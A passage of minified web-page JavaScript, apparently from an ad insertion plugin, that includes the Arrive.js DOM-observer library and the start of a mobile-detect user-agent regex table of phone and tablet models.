ai_insert_code(l)&&z():l.style.display="block";h.classList.contains("ai-empty-code")&&null!=a.closest("."+ai_block_class_def)&&(a=a.closest("."+ai_block_class_def).getElementsByClassName("code-block-label"),0!=a.length&&(a[0].style.display="none"))};ai_insert_code_by_class=function(a){var h=document.getElementsByClassName(a)[0];"undefined"!=typeof h&&(ai_insert_code(h),h.classList.remove(a))};ai_insert_client_code=function(a,h){var l=document.getElementsByClassName(a)[0];if("undefined"!=typeof l){var n=
l.getAttribute("data-code");null!=n&&ai_check_block()&&(l.setAttribute("data-code",n.substring(Math.floor(h/19))),ai_insert_code_by_class(a),l.remove())}};ai_process_elements_active=!1;function z(){ai_process_elements_active||setTimeout(function(){ai_process_elements_active=!1;"function"==typeof ai_process_rotations&&ai_process_rotations();"function"==typeof ai_process_lists&&ai_process_lists();"function"==typeof ai_process_ip_addresses&&ai_process_ip_addresses();"function"==typeof ai_process_filter_hooks&&
ai_process_filter_hooks();"function"==typeof ai_adb_process_blocks&&ai_adb_process_blocks();"function"==typeof ai_process_impressions&&1==ai_tracking_finished&&ai_process_impressions();"function"==typeof ai_install_click_trackers&&1==ai_tracking_finished&&ai_install_click_trackers();"function"==typeof ai_install_close_buttons&&ai_install_close_buttons(document);"function"==typeof ai_process_wait_for_interaction&&ai_process_wait_for_interaction();"function"==typeof ai_process_delayed_blocks&&ai_process_delayed_blocks()},
5);ai_process_elements_active=!0}const B=document.querySelector("body");(new MutationObserver(function(a,h){for(const l of a)"attributes"===l.type&&"data-ad-status"==l.attributeName&&"unfilled"==l.target.dataset.adStatus&&l.target.closest(".ai-fallback-adsense")&&ai_insert_adsense_fallback_codes(l.target)})).observe(B,{attributes:!0,childList:!1,subtree:!0});var Arrive=function(a,h,l){function n(t,c,e){d.addMethod(c,e,t.unbindEvent);d.addMethod(c,e,t.unbindEventWithSelectorOrCallback);d.addMethod(c,
e,t.unbindEventWithSelectorAndCallback)}function u(t){t.arrive=r.bindEvent;n(r,t,"unbindArrive");t.leave=v.bindEvent;n(v,t,"unbindLeave")}if(a.MutationObserver&&"undefined"!==typeof HTMLElement){var y=0,d=function(){var t=HTMLElement.prototype.matches||HTMLElement.prototype.webkitMatchesSelector||HTMLElement.prototype.mozMatchesSelector||HTMLElement.prototype.msMatchesSelector;return{matchesSelector:function(c,e){return c instanceof HTMLElement&&t.call(c,e)},addMethod:function(c,e,f){var b=c[e];c[e]=
function(){if(f.length==arguments.length)return f.apply(this,arguments);if("function"==typeof b)return b.apply(this,arguments)}},callCallbacks:function(c,e){e&&e.options.onceOnly&&1==e.firedElems.length&&(c=[c[0]]);for(var f=0,b;b=c[f];f++)b&&b.callback&&b.callback.call(b.elem,b.elem);e&&e.options.onceOnly&&1==e.firedElems.length&&e.me.unbindEventWithSelectorAndCallback.call(e.target,e.selector,e.callback)},checkChildNodesRecursively:function(c,e,f,b){for(var g=0,k;k=c[g];g++)f(k,e,b)&&b.push({callback:e.callback,
elem:k}),0<k.childNodes.length&&d.checkChildNodesRecursively(k.childNodes,e,f,b)},mergeArrays:function(c,e){var f={},b;for(b in c)c.hasOwnProperty(b)&&(f[b]=c[b]);for(b in e)e.hasOwnProperty(b)&&(f[b]=e[b]);return f},toElementsArray:function(c){"undefined"===typeof c||"number"===typeof c.length&&c!==a||(c=[c]);return c}}}(),w=function(){var t=function(){this._eventsBucket=[];this._beforeRemoving=this._beforeAdding=null};t.prototype.addEvent=function(c,e,f,b){c={target:c,selector:e,options:f,callback:b,
firedElems:[]};this._beforeAdding&&this._beforeAdding(c);this._eventsBucket.push(c);return c};t.prototype.removeEvent=function(c){for(var e=this._eventsBucket.length-1,f;f=this._eventsBucket[e];e--)c(f)&&(this._beforeRemoving&&this._beforeRemoving(f),(f=this._eventsBucket.splice(e,1))&&f.length&&(f[0].callback=null))};t.prototype.beforeAdding=function(c){this._beforeAdding=c};t.prototype.beforeRemoving=function(c){this._beforeRemoving=c};return t}(),m=function(t,c){var e=new w,f=this,b={fireOnAttributesModification:!1};
e.beforeAdding(function(g){var k=g.target;if(k===a.document||k===a)k=document.getElementsByTagName("html")[0];var p=new MutationObserver(function(x){c.call(this,x,g)});var q=t(g.options);p.observe(k,q);g.observer=p;g.me=f});e.beforeRemoving(function(g){g.observer.disconnect()});this.bindEvent=function(g,k,p){k=d.mergeArrays(b,k);for(var q=d.toElementsArray(this),x=0;x<q.length;x++)e.addEvent(q[x],g,k,p)};this.unbindEvent=function(){var g=d.toElementsArray(this);e.removeEvent(function(k){for(var p=
0;p<g.length;p++)if(this===l||k.target===g[p])return!0;return!1})};this.unbindEventWithSelectorOrCallback=function(g){var k=d.toElementsArray(this);e.removeEvent("function"===typeof g?function(p){for(var q=0;q<k.length;q++)if((this===l||p.target===k[q])&&p.callback===g)return!0;return!1}:function(p){for(var q=0;q<k.length;q++)if((this===l||p.target===k[q])&&p.selector===g)return!0;return!1})};this.unbindEventWithSelectorAndCallback=function(g,k){var p=d.toElementsArray(this);e.removeEvent(function(q){for(var x=
0;x<p.length;x++)if((this===l||q.target===p[x])&&q.selector===g&&q.callback===k)return!0;return!1})};return this},r=new function(){function t(f,b,g){return d.matchesSelector(f,b.selector)&&(f._id===l&&(f._id=y++),-1==b.firedElems.indexOf(f._id))?(b.firedElems.push(f._id),!0):!1}var c={fireOnAttributesModification:!1,onceOnly:!1,existing:!1};r=new m(function(f){var b={attributes:!1,childList:!0,subtree:!0};f.fireOnAttributesModification&&(b.attributes=!0);return b},function(f,b){f.forEach(function(g){var k=
g.addedNodes,p=g.target,q=[];null!==k&&0<k.length?d.checkChildNodesRecursively(k,b,t,q):"attributes"===g.type&&t(p,b,q)&&q.push({callback:b.callback,elem:p});d.callCallbacks(q,b)})});var e=r.bindEvent;r.bindEvent=function(f,b,g){"undefined"===typeof g?(g=b,b=c):b=d.mergeArrays(c,b);var k=d.toElementsArray(this);if(b.existing){for(var p=[],q=0;q<k.length;q++)for(var x=k[q].querySelectorAll(f),A=0;A<x.length;A++)p.push({callback:g,elem:x[A]});if(b.onceOnly&&p.length)return g.call(p[0].elem,p[0].elem);
setTimeout(d.callCallbacks,1,p)}e.call(this,f,b,g)};return r},v=new function(){function t(f,b){return d.matchesSelector(f,b.selector)}var c={};v=new m(function(){return{childList:!0,subtree:!0}},function(f,b){f.forEach(function(g){g=g.removedNodes;var k=[];null!==g&&0<g.length&&d.checkChildNodesRecursively(g,b,t,k);d.callCallbacks(k,b)})});var e=v.bindEvent;v.bindEvent=function(f,b,g){"undefined"===typeof g?(g=b,b=c):b=d.mergeArrays(c,b);e.call(this,f,b,g)};return v};h&&u(h.fn);u(HTMLElement.prototype);
u(NodeList.prototype);u(HTMLCollection.prototype);u(HTMLDocument.prototype);u(Window.prototype);h={};n(r,h,"unbindAllArrive");n(v,h,"unbindAllLeave");return h}}(window,"undefined"===typeof jQuery?null:jQuery,void 0)};
;!function(a,b){a(function(){"use strict";function a(a,b){return null!=a&&null!=b&&a.toLowerCase()===b.toLowerCase()}function c(a,b){var c,d,e=a.length;if(!e||!b)return!1;for(c=b.toLowerCase(),d=0;d<e;++d)if(c===a[d].toLowerCase())return!0;return!1}function d(a){for(var b in a)i.call(a,b)&&(a[b]=new RegExp(a[b],"i"))}function e(a){return(a||"").substr(0,500)}function f(a,b){this.ua=e(a),this._cache={},this.maxPhoneWidth=b||600}var g={};g.mobileDetectRules={phones:{iPhone:"\\biPhone\\b|\\biPod\\b",BlackBerry:"BlackBerry|\\bBB10\\b|rim[0-9]+|\\b(BBA100|BBB100|BBD100|BBE100|BBF100|STH100)\\b-[0-9]+",Pixel:"; \\bPixel\\b",HTC:"HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire 4G|Android.*\\bEVO\\b|T-Mobile G1|Z520m|Android [0-9.]+; Pixel",Nexus:"Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 5X|Nexus 6",Dell:"Dell[;]? (Streak|Aero|Venue|Venue Pro|Flash|Smoke|Mini 3iX)|XCD28|XCD35|\\b001DL\\b|\\b101DL\\b|\\bGS01\\b",Motorola:"Motorola|DROIDX|DROID BIONIC|\\bDroid\\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|XT910|XT912|XT928|XT926|XT915|XT919|XT925|XT1021|\\bMoto E\\b|XT1068|XT1092|XT1052",Samsung:"\\bSamsung\\b|SM-G950F|SM-G955F|SM-G9250|GT-19300|SGH-I337|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|GT-C3262|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8190|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9082|GT-I9100|GT-I9103|GT-I9220|GT-I9250|GT-I9300|GT-I9305|GT-I9500|GT-I9505|GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|GT-M8800|GT-M8910|GT-N7000|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S7562|GT-S7710|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|SCH-I910|SCH-I920|SCH-I959|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|SGH-E590|SGH-E635|SGH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-i747M|SGH-I777|SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|SPH-A420|SPH-A460|SPH-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|GT-N7105|SCH-I535|SM-N900A|SGH-I317|SGH-T999L|GT-S5360B|GT-I8262|GT-S6802|GT-S6312|GT-S6310|GT-S5312|GT-S5310|GT-I9105|GT-I8510|GT-S6790N|SM-G7105|SM-N9005|GT-S5301|GT-I9295|GT-I9195|SM-C101|GT-S7392|GT-S7560|GT-B7610|GT-I5510|GT-S7582|GT-S7530E|GT-I8750|SM-G9006V|SM-G9008V|SM-G9009D|SM-G900A|SM-G900D|SM-G900F|SM-G900H|SM-G900I|SM-G900J|SM-G900K|SM-G900L|SM-G900M|SM-G900P|SM-G900R4|SM-G900S|SM-G900T|SM-G900V|SM-G900W8|SHV-E160K|SCH-P709|SCH-P729|SM-T2558|GT-I9205|SM-G9350|SM-J120F|SM-G920F|SM-G920V|SM-G930F|SM-N910C|SM-A310F|GT-I9190|SM-J500FN|SM-G903F|SM-J330F|SM-G610F|SM-G981B|SM-G892A|SM-A530F",LG:"\\bLG\\b;|LG[- ]?(C800|C900|E400|E610|E900|E-900|F160|F180K|F180L|F180S|730|855|L160|LS740|LS840|LS970|LU6200|MS690|MS695|MS770|MS840|MS870|MS910|P500|P700|P705|VM696|AS680|AS695|AX840|C729|E970|GS505|272|C395|E739BK|E960|L55C|L75C|LS696|LS860|P769BK|P350|P500|P509|P870|UN272|US730|VS840|VS950|LN272|LN510|LS670|LS855|LW690|MN270|MN510|P509|P769|P930|UN200|UN270|UN510|UN610|US670|US740|US760|UX265|UX840|VN271|VN530|VS660|VS700|VS740|VS750|VS910|VS920|VS930|VX9200|VX11000|AX840A|LW770|P506|P925|P999|E612|D955|D802|MS323|M257)|LM-G710",Sony:"SonyST|SonyLT|SonyEricsson|SonyEricssonLT15iv|LT18i|E10i|LT28h|LT26w|SonyEricssonMT27i|C5303|C6902|C6903|C6906|C6943|D2533|SOV34|601SO|F8332",Asus:"Asus.*Galaxy|PadFone.*Mobile",Xiaomi:"^(?!.*\\bx11\\b).*xiaomi.*$|POCOPHONE F1|MI 8|Redmi Note 9S|Redmi Note 5A Prime|N2G47H|M2001J2G|M2001J2I|M1805E10A|M2004J11G|M1902F1G|M2002J9G|M2004J19G|M2003J6A1G",NokiaLumia:"Lumia [0-9]{3,4}",Micromax:"Micromax.*\\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A25|A27|A89|A68|A65|A57|A90)\\b",Palm:"PalmSource|Palm",Vertu:"Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature",Pantech:"PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|P2000|P7040|P7000|C790",Fly:"IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250",Wiko:"KITE 4G|HIGHWAY|GETAWAY|STAIRWAY|DARKSIDE|DARKFULL|DARKNIGHT|DARKMOON|SLIDE|WAX 4G|RAINBOW|BLOOM|SUNSET|GOA(?!nna)|LENNY|BARRY|IGGY|OZZY|CINK FIVE|CINK PEAX|CINK PEAX 2|CINK SLIM|CINK SLIM 2|CINK +|CINK KING|CINK PEAX|CINK SLIM|SUBLIM",iMobile:"i-mobile (IQ|i-STYLE|idea|ZAA|Hitz)",SimValley:"\\b(SP-80|XT-930|SX-340|XT-930|SX-310|SP-360|SP60|SPT-800|SP-120|SPT-800|SP-140|SPX-5|SPX-8|SP-100|SPX-8|SPX-12)\\b",Wolfgang:"AT-B24D|AT-AS50HD|AT-AS40W|AT-AS55HD|AT-AS45q2|AT-B26D|AT-AS50Q",Alcatel:"Alcatel",Nintendo:"Nintendo (3DS|Switch)",Amoi:"Amoi",INQ:"INQ",OnePlus:"ONEPLUS",GenericPhone:"Tapatalk|PDA;|SAGEM|\\bmmp\\b|pocket|\\bpsp\\b|symbian|Smartphone|smartfon|treo|up.browser|up.link|vodafone|\\bwap\\b|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser"},tablets:{iPad:"iPad|iPad.*Mobile",NexusTablet:"Android.*Nexus[\\s]+(7|9|10)",GoogleTablet:"Android.*Pixel C",SamsungTablet:"SAMSUNG.*Tablet|Galaxy.*Tab|SC-01C|GT-P1000|GT-P1003|GT-P1010|GT-P3105|GT-P6210|GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P3100|GT-P3108|GT-P3110|GT-P5100|GT-P5110|GT-P6200|GT-P7320|GT-P7511|GT-N8000|GT-P8510|SGH-I497|SPH-P500|SGH-T779|SCH-I705|SCH-I915|GT-N8013|GT-P3113|GT-P5113|GT-P8110|GT-N8010|GT-N8005|GT-N8020|GT-P1013|GT-P6201|GT-P7501|GT-N5100|GT-N5105|GT-N5110|SHV-E140K|SHV-E140L|SHV-E140S|SHV-E150S|SHV-E230K|SHV-E230L|SHV-E230S|SHW-M180K|SHW-M180L|SHW-M180S|SHW-M180W|SHW-M300W|SHW-M305W|SHW-M380K|SHW-M380S|SHW-M380W|SHW-M430W|SHW-M480K|SHW-M480S|SHW-M480W|SHW-M485W|SHW-M486W|SHW-M500W|GT-I9228|SCH-P739|SCH-I925|GT-I9200|GT-P5200|GT-P5210|GT-P5210X|SM-T311|SM-T310|SM-T310X|SM-T210|SM-T210R|SM-T211|SM-P600|SM-P601|SM-P605|SM-P900|SM-P901|SM-T217|SM-T217A|SM-T217S|SM-P6000|SM-T3100|SGH-I467|XE500|SM-T110|GT-P5220|GT-I9200X|GT-N5110X|GT-N5120|SM-P905|SM-T111|SM-T2105|SM-T315|SM-T320|SM-T320X|SM-T321|SM-T520|SM-T525|SM-T530NU|SM-T230NU|SM-T330NU|SM-T900|XE500T1C|SM-P605V|SM-P905V|SM-T337V|SM-T537V|SM-T707V|SM-T807V|SM-P600X|SM-P900X|SM-T210X|SM-T230|SM-T230X|SM-T325|GT-P7503|SM-T531|SM-T330|SM-T530|SM-T705|SM-T705C|SM-T535|SM-T331|SM-T800|SM-T700|SM-T537|SM-T807|SM-P907A|SM-T337A|SM-T537A|SM-T707A|SM-T807A|SM-T237|SM-T807P|SM-P607T|SM-T217T|SM-T337T|SM-T807T|SM-T116NQ|SM-T116BU|SM-P550|SM-T350|SM-T550|SM-T9000|SM-P9000|SM-T705Y|SM-T805|GT-P3113|SM-T710|SM-T810|SM-T815|SM-T360|SM-T533|SM-T113|SM-T335|SM-T715|SM-T560|SM-T670|SM-T677|SM-T377|SM-T567|SM-T357T|SM-T555|SM-T561|SM-T713|SM-T719|SM-T813|SM-T819|SM-T580|SM-T355Y?|SM-T280|SM-T817A|SM-T820|SM-W700|SM-P580|SM-T587|SM-P350|SM-P555M|SM-P355M|SM-T113NU|SM-T815Y|SM-T585|SM-T285|SM-T825|SM-W708|SM-T835|SM-T830|SM-T837V|SM-T720|SM-T510|SM-T387V|SM-P610|SM-T290|SM-T515|SM-T590|SM-T595|SM-T725|SM-T817P|SM-P585N0|SM-T395|SM-T295|SM-T865|SM-P610N|SM-P615|SM-T970|SM-T380|SM-T5950|SM-T905|SM-T231|SM-T500|SM-T860",Kindle:"Kindle|Silk.*Accelerated|Android.*\\b(KFOT|KFTT|KFJWI|KFJWA|KFOTE|KFSOWI|KFTHWI|KFTHWA|KFAPWI|KFAPWA|WFJWAE|KFSAWA|KFSAWI|KFASWI|KFARWI|KFFOWI|KFGIWI|KFMEWI)\\b|Android.*Silk/[0-9.]+ like Chrome/[0-9.]+ (?!Mobile)",SurfaceTablet:"Windows NT [0-9.]+; ARM;.*(Tablet|ARMBJS)",HPTablet:"HP Slate (7|8|10)|HP ElitePad 900|hp-tablet|EliteBook.*Touch|HP 8|Slate 21|HP SlateBook 10",AsusTablet:"^.*PadFone((?!Mobile).)*$|Transformer|TF101|TF101G|TF300T|TF300TG|TF300TL|TF700T|TF700KL|TF701T|TF810C|ME171|ME301T|ME302C|ME371MG|ME370T|ME372MG|ME172V|ME173X|ME400C|Slider SL101|\\bK00F\\b|\\bK00C\\b|\\bK00E\\b|\\bK00L\\b|TX201LA|ME176C|ME102A|\\bM80TA\\b|ME372CL|ME560CG|ME372CG|ME302KL| K010 | K011 | K017 | K01E |ME572C|ME103K|ME170C|ME171C|\\bME70C\\b|ME581C|ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z|\\bP027\\b|\\bP024\\b|\\bP00C\\b",BlackBerryTablet:"PlayBook|RIM Tablet",HTCtablet:"HTC_Flyer_P512|HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410",MotorolaTablet:"xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617",NookTablet:"Android.*Nook|NookColor|nook browser|BNRV200|BNRV200A|BNTV250|BNTV250A|BNTV400|BNTV600|LogicPD Zoom2",AcerTablet:"Android.*; \\b(A100|A101|A110|A200|A210|A211|A500|A501|A510|A511|A700|A701|W500|W500P|W501|W501P|W510|W511|W700|G100|G100W|B1-A71|B1-710|B1-711|A1-810|A1-811|A1-830)\\b|W3-810|\\bA3-A10\\b|\\bA3-A11\\b|\\bA3-A20\\b|\\bA3-A30|A3-A40",ToshibaTablet:"Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)|TOSHIBA.*FOLIO",LGTablet:"\\bL-06C|LG-V909|LG-V900|LG-V700|LG-V510|LG-V500|LG-V410|LG-V400|LG-VK810\\b",FujitsuTablet:"Android.*\\b(F-01D|F-02F|F-05E|F-10D|M532|Q572)\\b",PrestigioTablet:"PMP3170B|PMP3270B|PMP3470B|PMP7170B|PMP3370B|PMP3570C|PMP5870C|PMP3670B|PMP5570C|PMP5770D|PMP3970B|PMP3870C|PMP5580C|PMP5880D|PMP5780D|PMP5588C|PMP7280C|PMP7280C3G|PMP7280|PMP7880D|PMP5597D|PMP5597|PMP7100D|PER3464|PER3274|PER3574|PER3884|PER5274|PER5474|PMP5097CPRO|PMP5097|PMP7380D|PMP5297C|PMP5297C_QUAD|PMP812E|PMP812E3G|PMP812F|PMP810E|PMP880TD|PMT3017|PMT3037|PMT3047|PMT3057|PMT7008|PMT5887|PMT5001|PMT5002",LenovoTablet:"Lenovo TAB|Idea(Tab|Pad)( A1|A10| K1|)|ThinkPad([ ]+)?Tablet|YT3-850M|YT3-X90L|YT3-X90F|YT3-X90X|Lenovo.*(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|B8000|B8080)(-|)(FL|F|HV|H|)|TB-X103F|TB-X304X|TB-X304F|TB-X304L|TB-X505F|TB-X505L|TB-X505X|TB-X605F|TB-X605L|TB-8703F|TB-8703X|TB-8703N|TB-8704N|TB-8704F|TB-8704X|TB-8704V|TB-7304F|TB-7304I|TB-7304X|Tab2A7-10F|Tab2A7-20F|TB2-X30L|YT3-X50L|YT3-X50F|YT3-X50M|YT-X705F|YT-X703F|YT-X703L|YT-X705L|YT-X705X|TB2-X30F|TB2-X30L|TB2-X30M|A2107A-F|A2107A-H|TB3-730F|TB3-730M|TB3-730X|TB-7504F|TB-7504X|TB-X704F|TB-X104F|TB3-X70F|TB-X705F|TB-8504F|TB3-X70L|TB3-710F|TB-X704L",DellTablet:"Venue 11|Venue 8|Venue 7|Dell Streak 10|Dell Streak 